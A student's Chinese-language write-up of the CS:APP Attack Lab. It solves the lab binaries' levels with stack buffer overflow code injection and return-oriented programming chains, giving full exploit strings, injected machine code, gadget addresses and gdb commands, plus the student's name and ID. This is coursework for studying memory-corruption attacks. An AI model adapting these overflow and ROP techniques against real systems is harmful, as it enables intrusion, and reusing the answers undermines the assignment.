Nevar pievienot vairāk kā 25 tēmas Tēmai ir jāsākas ar burtu vai ciparu, tā var saturēt domu zīmes ('-') un var būt līdz 35 simboliem gara.

682 rindas
18 KiB

pirms 10 mēnešiem
pirms 10 mēnešiem
pirms 10 mēnešiem
pirms 10 mēnešiem
pirms 10 mēnešiem
pirms 10 mēnešiem
pirms 10 mēnešiem
pirms 10 mēnešiem
pirms 10 mēnešiem
pirms 10 mēnešiem
pirms 10 mēnešiem
pirms 10 mēnešiem
pirms 10 mēnešiem
  1. # Attack Lab
  2. 10225501432 邓博昊 target66
  3. ## ctarget
  4. 使用`gdb ctarget`调试程序
  5. 使用`disass <function>`获得`<function>`的汇编代码
  6. 使用`r -i {phase_i_raw}`带入`exploit string`运行程序
  7. ### Level 1
  8. `ctarget`程序被调用时,执行`test`函数,`test`函数调用`getbuf`函数
  9. 我们需要将`getbuf`函数在返回时重定向到`touch1`而非继续回到`test`函数
  10. <big>**1)查看`test`、`touch1`函数C代码**</big>
  11. 先贴出题干所给函数代码
  12. ```c
  13. void test()
  14. {
  15. int val;
  16. val = getbuf();
  17. printf("No exploit. Getbuf returned 0x%x\n", val);
  18. }
  19. void touch1() {
  20. vlevel = 1;
  21. printf("Touch!: You called touch1()\n");
  22. validate(1);
  23. exit(0);
  24. }
  25. ```
  26. <big>**2)查看`getbuf`、`touch1`函数汇编代码**</big>
  27. 获取`getbuf`、`touch1`函数汇编代码
  28. ```assembly
  29. Dump of assembler code for function getbuf:
  30. 0x0000555555401a65 <+0>: sub $0x18,%rsp
  31. 0x0000555555401a69 <+4>: mov %rsp,%rdi
  32. 0x0000555555401a6c <+7>: call 0x555555401d05 <Gets>
  33. 0x0000555555401a71 <+12>: mov $0x1,%eax
  34. 0x0000555555401a76 <+17>: add $0x18,%rsp
  35. 0x0000555555401a7a <+21>: ret
  36. End of assembler dump.
  37. ```
  38. ```assembly
  39. Dump of assembler code for function touch1:
  40. 0x0000555555401a7b <+0>: sub $0x8,%rsp
  41. 0x0000555555401a7f <+4>: movl $0x1,0x203953(%rip) # 0x5555556053dc <vlevel>
  42. 0x0000555555401a89 <+14>: lea 0x1967(%rip),%rdi # 0x5555554033f7
  43. 0x0000555555401a90 <+21>: call 0x555555400e10 <puts@plt>
  44. 0x0000555555401a95 <+26>: mov $0x1,%edi
  45. 0x0000555555401a9a <+31>: call 0x555555401f75 <validate>
  46. 0x0000555555401a9f <+36>: mov $0x0,%edi
  47. 0x0000555555401aa4 <+41>: call 0x555555400f80 <exit@plt>
  48. End of assembler dump.
  49. ```
  50. `getbuf`函数开辟了24个字节的栈空间
  51. <big>**3)构建攻击字符串**</big>
  52. 我们目前可以知道的:
  53. * 运行环境为`AMD64 Linux`,使用小端法,内存低位储存低位字节数
  54. * 栈的生长方向向内存低位生长
  55. * `getbuf`函数ret地址为%rsp+0x18
  56. * `touch1`函数入口为`0x0000555555401a7b`
  57. 我们需要构建一个字符串,其需要满足的条件:
  58. * 改变`getbuf`函数ret时返回地址,使其变为`0x0000555555401a7b`
  59. * 数字需要的字节数为`24+8 = 32`位
  60. * 符合小端法
  61. 字符串数据按输入顺序从低地址向高地址存储数据
  62. 无意义的字符均用0表示,我们需要构建的字符串即为
  63. ```
  64. 00 00 00 00 00 00 00 00
  65. 00 00 00 00 00 00 00 00
  66. 00 00 00 00 00 00 00 00
  67. 7b 1a 40 55 55 55 00 00
  68. ```
  69. 将上述字符串存入`phase_1.txt`
  70. <big>**4)将字符串转化为字节码并运行程序**</big>
  71. 输入以下命令即可完成`touch1`
  72. ```bash
  73. ./hex2raw < phase_1.txt > phase_1_raw.txt
  74. gdb ctarget
  75. r -i phase_1_raw.txt
  76. ```
  77. ### Level 2
  78. 任务要求`ctarget`程序执行`touch2`函数,而非返回`test`函数
  79. <big>**1)查看`touch2`函数C代码**</big>
  80. 题干所给`touch2`函数C代码如下
  81. ```c
  82. void touch2(unsigned val){
  83. vlevel = 2; /* Part of validation protocol */
  84. if (val == cookie){
  85. printf("Touch2!: You called touch2(0x%.8x)\n", val);
  86. validate(2);
  87. } else {
  88. printf("Misfire: You called touch2(0x%.8x)\n", val);
  89. fail(2);
  90. }
  91. exit(0);
  92. }
  93. ```
  94. `touch2`函数要求传入一个参数`val`,只有`val`和`cookie`值相同程序才执行成功
  95. <big>**2)查看`touch2`函数汇编代码**</big>
  96. `touch`函数汇编代码如下
  97. ```assembly
  98. Dump of assembler code for function touch2:
  99. 0x0000555555401aa9 <+0>: sub $0x8,%rsp
  100. 0x0000555555401aad <+4>: mov %edi,%edx
  101. 0x0000555555401aaf <+6>: movl $0x2,0x203923(%rip) # 0x5555556053dc <vlevel>
  102. 0x0000555555401ab9 <+16>: cmp %edi,0x203925(%rip) # 0x5555556053e4 <cookie>
  103. 0x0000555555401abf <+22>: je 0x555555401aeb <touch2+66>
  104. 0x0000555555401ac1 <+24>: lea 0x1980(%rip),%rsi # 0x555555403448
  105. 0x0000555555401ac8 <+31>: mov $0x1,%edi
  106. 0x0000555555401acd <+36>: mov $0x0,%eax
  107. 0x0000555555401ad2 <+41>: call 0x555555400f30 <__printf_chk@plt>
  108. 0x0000555555401ad7 <+46>: mov $0x2,%edi
  109. 0x0000555555401adc <+51>: call 0x555555402045 <fail>
  110. 0x0000555555401ae1 <+56>: mov $0x0,%edi
  111. 0x0000555555401ae6 <+61>: call 0x555555400f80 <exit@plt>
  112. 0x0000555555401aeb <+66>: lea 0x192e(%rip),%rsi # 0x555555403420
  113. 0x0000555555401af2 <+73>: mov $0x1,%edi
  114. 0x0000555555401af7 <+78>: mov $0x0,%eax
  115. 0x0000555555401afc <+83>: call 0x555555400f30 <__printf_chk@plt>
  116. 0x0000555555401b01 <+88>: mov $0x2,%edi
  117. 0x0000555555401b06 <+93>: call 0x555555401f75 <validate>
  118. 0x0000555555401b0b <+98>: jmp 0x555555401ae1 <touch2+56>
  119. End of assembler dump.
  120. ```
  121. 则`touch2`函数入口地址为`0x0000555555401aa9`
  122. <big>**3)构建汇编代码**</big>
  123. 实验给出的建议:
  124. - 使用ret指令调用touch2函数
  125. - touch2的参数要存在rdi寄存器中
  126. - 插入的代码应该设置寄存器存着Cookie,然后再返回touch2
  127. - 不用jmp和call指令
  128. - 使用gcc和objdump生成要插入代码的字节码格式
  129. 我的`cookie = 0x3e8dee8f`
  130. 则我们需要构建的汇编代码应该为
  131. ```assembly
  132. movq $0x3e8dee8f,%rdi
  133. movq $0x0000555555401aa9,%rsi # 存储touch2入口地址
  134. push %rsi
  135. ret
  136. ```
  137. 将上述代码存储在`phase_2_assembly.s`
  138. <big>**4)获得机械码**</big>
  139. 使用如下命令生成并反编译获得机械码
  140. ```bash
  141. gcc -c phase_2_assembly.s -o phase_2_assembly.o
  142. objdump -d phase_2_assembly.o > phase_2_assembly.d
  143. ```
  144. 打开`phase_2_assembly.d`
  145. ```assembly
  146. Disassembly of section .text:
  147. 0000000000000000 <.text>:
  148. 0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi
  149. 7: 48 be a9 1a 40 55 55 movabs $0x555555401aa9,%rsi
  150. e: 55 00 00
  151. 11: 56 push %rsi
  152. 12: c3 ret
  153. ```
  154. 则这段程序机械码为
  155. ```
  156. 48 c7 c7 8f ee 8d 3e 48 be a9 1a 40 55 55 55 00 00 56 c3
  157. ```
  158. <big>**5)构建攻击字符串**</big>
  159. 思路为:
  160. * `getbuff`函数获取攻击字符串
  161. * 字符串使得`getbuff`函数返回至`buff`数组起点
  162. * `buff`数组起点按顺序储存机械码
  163. * 程序按照储存的机械码执行我们设计好的汇编指令
  164. 因此我们需要查看`buff`数组起点的内存地址,即`%rsp`储存的内容
  165. 由Level 1中`getbuf`函数汇编代码可知,`getbuf`函数入口为`0x0000555555401a65`
  166. 使用如下命令:
  167. ```bash
  168. gdb ctarget
  169. b *0x0000555555401a65
  170. r -qi phase_1_raw.txt
  171. stepi
  172. p &rsp
  173. ```
  174. 输出:
  175. ```bash
  176. $1 = (void *) 0x55621b58
  177. ```
  178. 故构建如下字符串
  179. ```
  180. 48 c7 c7 8f ee 8d 3e 48
  181. be a9 1a 40 55 55 55 00
  182. 00 56 c3 00 00 00 00 00
  183. 58 1b 62 55 00 00 00 00
  184. ```
  185. 将上述字符串储存在`phase_2.txt`中
  186. <big>**6)将字符串转化为字节码并运行程序**</big>
  187. 输入以下命令即可完成`touch2`
  188. ```bash
  189. ./hex2raw < phase_2.txt > phase_2_raw.txt
  190. gdb ctarget
  191. r -i phase_2_raw.txt
  192. ```
  193. ### Level 3
  194. 任务要求`ctarget`程序执行`touch3`函数,而非返回`test`函数
  195. 注意`touch3`函数内部调用了`hexmatch`函数
  196. <big>**1)查看`touch3`、`hexmatch`函数C代码**</big>
  197. ```C
  198. int hexmatch(unsigned val, char *sval){
  199. char cbuf[110];
  200. char *s = cbuf + random() % 100;
  201. sprintf(s, "%.8x", val);
  202. return strncmp(sval, s, 9) == 0;
  203. }
  204. void touch3(char *sval){
  205. vlevel = 3;
  206. if (hexmatch(cookie, sval)){
  207. printf("Touch3!: You called touch3(\"%s\")\n", sval);
  208. validate(3);
  209. } else {
  210. printf("Misfire: You called touch3(\"%s\")\n", sval);
  211. fail(3);
  212. }
  213. exit(0);
  214. }
  215. ```
  216. hexmatch需要传入`cookie`值,并且需要将`cookie`值以字符串形式传入
  217. <big>**2)查看`test`、`touch3`函数汇编代码**</big>
  218. ```assembly
  219. Dump of assembler code for function test:
  220. 0x0000555555401c32 <+0>: sub $0x8,%rsp
  221. 0x0000555555401c36 <+4>: mov $0x0,%eax
  222. 0x0000555555401c3b <+9>: call 0x555555401a65 <getbuf>
  223. 0x0000555555401c40 <+14>: mov %eax,%edx
  224. 0x0000555555401c42 <+16>: lea 0x1877(%rip),%rsi # 0x5555554034c0
  225. 0x0000555555401c49 <+23>: mov $0x1,%edi
  226. 0x0000555555401c4e <+28>: mov $0x0,%eax
  227. 0x0000555555401c53 <+33>: call 0x555555400f30 <__printf_chk@plt>
  228. 0x0000555555401c58 <+38>: add $0x8,%rsp
  229. 0x0000555555401c5c <+42>: ret
  230. End of assembler dump.
  231. ```
  232. ```assembly
  233. Dump of assembler code for function touch3:
  234. 0x0000555555401bc0 <+0>: push %rbx
  235. 0x0000555555401bc1 <+1>: mov %rdi,%rbx
  236. 0x0000555555401bc4 <+4>: movl $0x3,0x20380e(%rip) # 0x5555556053dc <vlevel>
  237. 0x0000555555401bce <+14>: mov %rdi,%rsi
  238. 0x0000555555401bd1 <+17>: mov 0x20380d(%rip),%edi # 0x5555556053e4 <cookie>
  239. 0x0000555555401bd7 <+23>: call 0x555555401b0d <hexmatch>
  240. 0x0000555555401bdc <+28>: test %eax,%eax
  241. 0x0000555555401bde <+30>: je 0x555555401c0d <touch3+77>
  242. 0x0000555555401be0 <+32>: mov %rbx,%rdx
  243. 0x0000555555401be3 <+35>: lea 0x1886(%rip),%rsi # 0x555555403470
  244. 0x0000555555401bea <+42>: mov $0x1,%edi
  245. 0x0000555555401bef <+47>: mov $0x0,%eax
  246. 0x0000555555401bf4 <+52>: call 0x555555400f30 <__printf_chk@plt>
  247. 0x0000555555401bf9 <+57>: mov $0x3,%edi
  248. 0x0000555555401bfe <+62>: call 0x555555401f75 <validate>
  249. 0x0000555555401c03 <+67>: mov $0x0,%edi
  250. 0x0000555555401c08 <+72>: call 0x555555400f80 <exit@plt>
  251. 0x0000555555401c0d <+77>: mov %rbx,%rdx
  252. 0x0000555555401c10 <+80>: lea 0x1881(%rip),%rsi # 0x555555403498
  253. 0x0000555555401c17 <+87>: mov $0x1,%edi
  254. 0x0000555555401c1c <+92>: mov $0x0,%eax
  255. 0x0000555555401c21 <+97>: call 0x555555400f30 <__printf_chk@plt>
  256. 0x0000555555401c26 <+102>: mov $0x3,%edi
  257. 0x0000555555401c2b <+107>: call 0x555555402045 <fail>
  258. 0x0000555555401c30 <+112>: jmp 0x555555401c03 <touch3+67>
  259. End of assembler dump.
  260. ```
  261. 可以看出:
  262. * `test`函数入口为`0x0000555555401c32`
  263. * `touch3`函数入口为`0x0000555555401bc0`
  264. <big>**3)构建汇编代码**</big>
  265. 阅读题干所给提示:
  266. * 需要一个字符串表示`cookie`值,不需要表示开头`0x`
  267. * 在C语言中字符串是以`\0`结尾,所以在字符串序列的结尾是一个字节0
  268. * `man ascii` 可以用来查看每个字符的16进制表示
  269. * 需要在`%rdi`寄存器内储存字符串的地址
  270. * 当调用`hexmatch`和`strncmp`时,他们会把数据压入到栈中,有可能会覆盖`getbuf`栈帧的数据,所以传进去字符串的位置必须小心谨慎
  271. 因此汇编代码设计思路为:
  272. * 将字符串写入到不容易被覆盖的`test`函数栈空间,将该地址送入`%rdi`寄存器
  273. * 压入含`touch3`入口地址的寄存器
  274. * ret返回
  275. 注意`cookie`值需要转化为16进制ASCII码表示后使用
  276. 根据题目提示`0x`不需要表示,并且字符串结尾为0字节,则对应ASCII码表示为
  277. ```
  278. 0x3e8dee8f >> 33 65 38 64 65 65 38 66 00
  279. ```
  280. 我们还需要知道`test函数`栈帧地址
  281. 输入以下命令查看
  282. ```assembly
  283. gdb ctarget
  284. b *0x0000555555401c32 # test函数入口
  285. r -qi phase_1_raw.txt
  286. stepi
  287. p $rsp
  288. ```
  289. 结果显示
  290. ```bash
  291. $1 = (void *) 0x55621b78
  292. ```
  293. 因此我们需要构建的汇编代码为
  294. ```assembly
  295. movq $0x55621b78,%rdi
  296. movq $0x0000555555401bc0,%rdx
  297. push %rdx
  298. ret
  299. ```
  300. 将上述内容储存在`phase_3_assembly.s`
  301. <big>**4)获得机械码**</big>
  302. 输入以下命令获得机械码
  303. ```bash
  304. gcc -c phase_3_assembly.s -o phase_3_assembly.o
  305. objdump -d phase_3_assembly.o > phase_3_assembly.d
  306. ```
  307. 打开`phase_3_assembly.d`
  308. ```assembly
  309. Disassembly of section .text:
  310. 0000000000000000 <.text>:
  311. 0: 48 c7 c7 78 1b 62 55 mov $0x55621b78,%rdi
  312. 7: 48 ba c0 1b 40 55 55 movabs $0x555555401bc0,%rdx
  313. e: 55 00 00
  314. 11: 52 push %rdx
  315. 12: c3 ret
  316. ```
  317. 则机械码为
  318. ```
  319. 48 c7 c7 78 1b 62 55 48 ba c0 1b 40 55 55 55 00 00 52 c3
  320. ```
  321. <big>**5)构建攻击字符串**</big>
  322. 思路为:
  323. * `getbuff`函数获取攻击字符串
  324. * 字符串足够长,使得`cookie`的16进制值储存在test栈空间
  325. * 字符串使得`getbuff`函数返回至`buff`数组起点
  326. * `buff`数组起点按顺序储存机械码
  327. * 程序按照储存的机械码执行我们设计好的汇编指令
  328. `buff`数组起点的内存地址由Level 2可知为`0x55621b58`
  329. 故构建如下字符串
  330. ```
  331. 48 c7 c7 78 1b 62 55 48
  332. ba c0 1b 40 55 55 55 00
  333. 00 52 c3 00 00 00 00 00
  334. 58 1b 62 55 00 00 00 00
  335. 33 65 38 64 65 65 38 66
  336. 00
  337. ```
  338. 将上述字符串储存在`phase_3.txt`中
  339. <big>**6)将字符串转化为字节码并运行程序**</big>
  340. 输入以下命令即可完成`touch3`
  341. ```bash
  342. ./hex2raw < phase_3.txt > phase_3_raw.txt
  343. gdb ctarget
  344. r -i phase_3_raw.txt
  345. ```
  346. ## rtarget
  347. 题干所给信息翻译如下:
  348. > 这一部分攻击rtarget程序,但是这个程序使用了两种技术防止代码注入攻击:
  349. >
  350. > - 每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址
  351. > - 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误
  352. >
  353. > 所以只能利用已有的可执行的代码,来完成我们的操作,称为`retrun-oriented programming(ROP)`,策略就是找到现存代码中的若干条指令,这些指令后面跟着指令ret,每次return相当于从一个gadget跳转到另一个gadget中,然后通过这样不断跳转来完成我们想要的操作。
  354. 使用如下命令获得`farm.c`的反汇编
  355. ```
  356. gcc -c -Og farm.c
  357. objdump -d farm.o > farm.d
  358. ```
  359. ### Level 2
  360. 这一关要求我们重复上一部分Level 2的攻击,但是无法对rtarget进行代码注入攻击,我们只能使用ROP攻击:利用farm.c中的程序的gadget,构造我们需要的指令,在rtarget中执行
  361. <big>**1)选取gadgets**</big>
  362. 阅读题目提示:
  363. * 我们利用的gadget是从startfarm到midfarm之间的
  364. * 只需要两个gadget
  365. * 当使用popq指令时,你的exploit string中必须含有一个地址和data
  366. 因此我们需要的汇编指令为
  367. ```assembly
  368. popq %rax
  369. movq %rax,%rdi
  370. ```
  371. 对应的编码为
  372. ```
  373. popq %rax > 58
  374. movq %rax,%rdi > 48 89 c7
  375. ```
  376. `popq %rax`对应函数为
  377. ```assembly
  378. Dump of assembler code for function getval_373:
  379. 0x0000555555401c70 <+0>: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax
  380. 0x0000555555401c75 <+5>: c3 ret
  381. End of assembler dump.
  382. ```
  383. 我们得出`popq %rax`指令的地址为`0x0000555555401c70+0x4 =0x0000555555401c74`
  384. `movq %rax,%rdi`对应函数为
  385. ```assembly
  386. Dump of assembler code for function getval_424:
  387. 0x0000555555401c84 <+0>: b8 48 89 c7 c3 mov $0xc3c78948,%eax
  388. 0x0000555555401c89 <+5>: c3 ret
  389. End of assembler dump.
  390. ```
  391. 我们得出`movq %rax,%rdi`指令的地址为`0x0000555555401c84+0x1 =0x0000555555401c85`
  392. 反汇编得`touch2`函数入口为`0x0000555555401aa9 `
  393. <big>**2)构建攻击字符串**</big>
  394. 需要使用的地址
  395. ```
  396. 0x0000555555401aa9 # touch2函数入口地址
  397. 0x0000555555401c85 # 48 89 c7 movq %rax, %rdi
  398. 0x3e8dee8f # cookie
  399. 0x0000555555401c74 # 58 popq %rax
  400. ```
  401. 构建的`phase_4.txt`如下
  402. ```
  403. 00 00 00 00 00 00 00 00
  404. 00 00 00 00 00 00 00 00
  405. 00 00 00 00 00 00 00 00
  406. 74 1c 40 55 55 55 00 00
  407. 8f ee 8d 3e 00 00 00 00
  408. 85 1c 40 55 55 55 00 00
  409. a9 1a 40 55 55 55 00 00
  410. ```
  411. <big>**3)将字符串转化为字节码并运行程序**</big>
  412. 输入以下命令即可完成`touch2`
  413. ```bash
  414. ./hex2raw < phase_4.txt > phase_4_raw.txt
  415. gdb rtarget
  416. r -i phase_4_raw.txt
  417. ```
  418. ### Level 3
  419. 这一关要求我们重复上一部分Level 3的攻击,使用ROP攻击的形式。
  420. <big>**1)选取gadgets**</big>
  421. 阅读题目提示:
  422. * 建议查看movl指令对4字节以上操作的影响
  423. * 官方解决方法用了8个gadgets
  424. 由`ctarget level 3`可知,`cookie`的ASCII字符串表示为
  425. ```
  426. 0x3e8dee8f >> 33 65 38 64 65 65 38 66 00
  427. ```
  428. 因为栈地址随机,因此需要找到基准地址,此处选取%rsp
  429. 具体操作:
  430. - 把%rsp里的栈指针地址放到%rdi
  431. - 拿到bias的值放到%rsi
  432. - 利用add xy,把栈指针地址和bias加起来放到%rax,再传到%rdi
  433. - 调用touch3
  434. 因此我们需要的汇编指令为
  435. ```
  436. movq %rsp,%rax
  437. movq %rax,%rdi
  438. popq %rax
  439. movl %eax,%edx
  440. movl %edx,%ecx
  441. movl %ecx,%esi
  442. lea (%rdi,%rsi,1),%rax
  443. movq %rax,%rdi
  444. ```
  445. 对应的编码、函数、地址为
  446. ```
  447. movq %rsp,%rax > 48 89 e0 > addval_101 > 0x0000555555401cb3
  448. movq %rax,%rdi > 48 89 c7 > setval_417 > 0x0000555555401c8c
  449. popq %rax > 58 > getval_373 > 0x0000555555401c74
  450. movl %eax,%edx > 89 c2 > addval_467 > 0x0000555555401ca5
  451. movl %edx,%ecx > 89 d1 > setval_191 > 0x0000555555401cac
  452. movl %ecx,%esi > 89 ce > setval_422 > 0x0000555555401cd5
  453. lea (%rdi,%rsi,1),%rax > 48 8d 04 37 > add_xy > 0x0000555555401c9e
  454. movq %rax,%rdi > 48 89 c7 > getval_424 > 0x0000555555401c85
  455. ```
  456. <big>**2)构建攻击字符串**</big>
  457. 需要使用的地址
  458. ```
  459. 0x0000555555401cb3 # movq %rsp,%rax
  460. 0x0000555555401c8c # movq %rax,%rdi
  461. 0x0000555555401c74 # popq %rax
  462. 0x48 # bias = 9*8-->0x48
  463. 0x0000555555401ca5 # movl %eax,%edx
  464. 0x0000555555401cac # movl %edx,%ecx
  465. 0x0000555555401cd5 # movl %ecx,%esi
  466. 0x0000555555401c9e # lea (%rdi,%rsi,1),%rax
  467. 0x0000555555401c85 # movq %rax,%rdi
  468. 0x0000555555401bc0 # touch3
  469. 0x3365386465653866 # hex cookie string
  470. ```
  471. 构建的攻击字符串为
  472. ```
  473. 00 00 00 00 00 00 00 00
  474. 00 00 00 00 00 00 00 00
  475. 00 00 00 00 00 00 00 00
  476. b3 1c 40 55 55 55 00 00
  477. 8c 1c 40 55 55 55 00 00
  478. 74 1c 40 55 55 55 00 00
  479. 48 00 00 00 00 00 00 00
  480. a5 1c 40 55 55 55 00 00
  481. ac 1c 40 55 55 55 00 00
  482. d5 1c 40 55 55 55 00 00
  483. 9e 1c 40 55 55 55 00 00
  484. 85 1c 40 55 55 55 00 00
  485. c0 1b 40 55 55 55 00 00
  486. 33 65 38 64 65 65 38 66
  487. ```
  488. 保存为`phase_5.txt`
  489. <big>**3)将字符串转化为字节码并运行程序**</big>
  490. 输入以下命令即可完成`touch23
  491. ```bash
  492. ./hex2raw < phase_5.txt > phase_5_raw.txt
  493. gdb rtarget
  494. r -i phase_5_raw.txt
  495. ```